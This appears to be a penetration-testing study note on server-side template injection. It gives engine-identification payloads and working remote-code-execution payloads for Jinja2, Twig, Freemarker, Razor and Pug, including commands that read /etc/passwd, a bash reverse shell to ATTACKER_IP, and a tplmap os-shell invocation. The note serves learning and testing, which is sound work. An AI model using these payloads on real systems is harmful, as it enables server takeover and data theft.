SSTI
A web security vulnerability that occurs when an attacker can inject malicious code into a template engine used on the server side. Developers often use template engines to generate dynamic web pages. These engines combine a static template file (such as HTML, email, etc.) with dynamic data to produce the final content displayed to the end-user.
If data from the user (like URL parameters, form inputs, etc.) is sent directly to the template engine without proper sanitization, attackers can exploit this situation. By using the template engine's own syntax, they can execute unexpected commands on the server, access sensitive files, and even gain full control of the server. This makes SSTI a very critical and dangerous type of vulnerability.
Some Test Payloads
| Payload | Expected Result | Potential Engine(s) |
|---|---|---|
| {{7*'7'}} | 49 | Twig |
| {{7*'7'}} | 7777777 | Jinja2 |
| {{'a'.toUpperCase()}} | A | Jinja2 (Mako, Twig, Nunjucks) |
| ${7*7} | 49 | Freemarker |
| <#assign x="7*7">${x} | 49 | Freemarker |
| @{7*7} | 49 | Razor (.NET) |
| @(7*7) | 49 | Razor (.NET) |
| #{7*7} | 49 | Java (JSF) |
| {{77}}* | 49 | Handlebars |
| {{ this.getClass() }} | Java object name | Java (General) |
| <%= 7 * 7 %> | 49 | Ruby (ERB) |
RCE in Python (Jinja2) environments
- Achieving RCE in Python-based template engines typically involves accessing dangerous functions like
__import__orevalthrough the__builtins__module. One of the most common methods is to import theosmodule or usepopen()orsystem()functions.
{{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
HTTP Request
Attacker injects payload to run the id command, the command returns the identity of the current user.
GET /profile?name={{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }} HTTP/1.1
PHP (Twig) Environment RCE
The PHP-based template engine Twig has a fairly secure sandbox by default. However, developers may sometimes make dangerous functions like registerUndefinedFilterCallback accessible within templates or misconfigure the environment.
Twig is generally harder to achieve RCE on. However, misconfigurations are always possible.
If PHP functions such as exec, system or passthru are directly or indirectly accessible, RCE is possible.
Scenario where system function can be invoked as a filter
{{ ['id']|filter('system') }}
GET /profile?name={{ ['id']|filter('system') }} HTTP/1.1
Step 1 - Define Filter Redirection
- Payload registers the
execfunction as the handler for all undefined filters. As a result whenever an undefined filter is called, twig passes it to the exec() function. - Payload:
{{ _self.env.registerUndefinedFilterCallback("exec") }}
Step 2 - Use Undefined filter to Execute a Command
This payload triggers the undefined filter call to execute the id command.
Payload: {{ _self.env.getFilter("id") }}
The following example assumes that the passthru function is already registered as a filter named passthru. In this case, the passthru filter directly involves PHPs passthru function.
GET /profile?name={{ "ls -la"|passthru }} HTTP/1.1
RCE Examples in Other Template Engines
Not only Python and PHP, but other languages template engines can also be vulnerable to SSTI.
Java (Freemarker) Environment RCE
Freemarker provides a path to RCE when dangerous objects like Execute can be accessed
Payload
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id") }
- Payload creates a new object from the
freemarker.template.utility.Executeclass and assigns it to theexvariable. This then uses this object to run theidcommand.
.NET Razor Environment RCE
The Razor template engine can directly execute C# code making CE straightforward
Payload
@{ System.Diagnostics.Process.Start("cmd.exe","/c whoami"); }
- Payload uses .NET's Process.Start method to execute whoami command
NodeJS (Pug/Jade) Environment RCE
Allow RCE by accessing NodeJSs global process object
Payload
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
- This payload loads the
child_processmodule to executecat /etc/passwdsynchronously and outputs the result
Obtaining the Reverse Shell
Once RCE access is achieved, attackers often aim to get a more stable and interactive command-line session via a reverse shell. This allows the vulnerable server to connect back to an attacker controlled machine and open a shell session.
Bash reverse shell payload
{{ ['bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1']|filter('system') }}
Automated Tools
Tplmap
DO NOT USE ON OSCP
Specialist tool for SSTI detection and exploitation.
- Like SQLMap
- Automates reading and writing files and executing commands on the server
python tplmap.py -u "http://vulnerable-site.com/profile?name=Jules" -p name --os-shell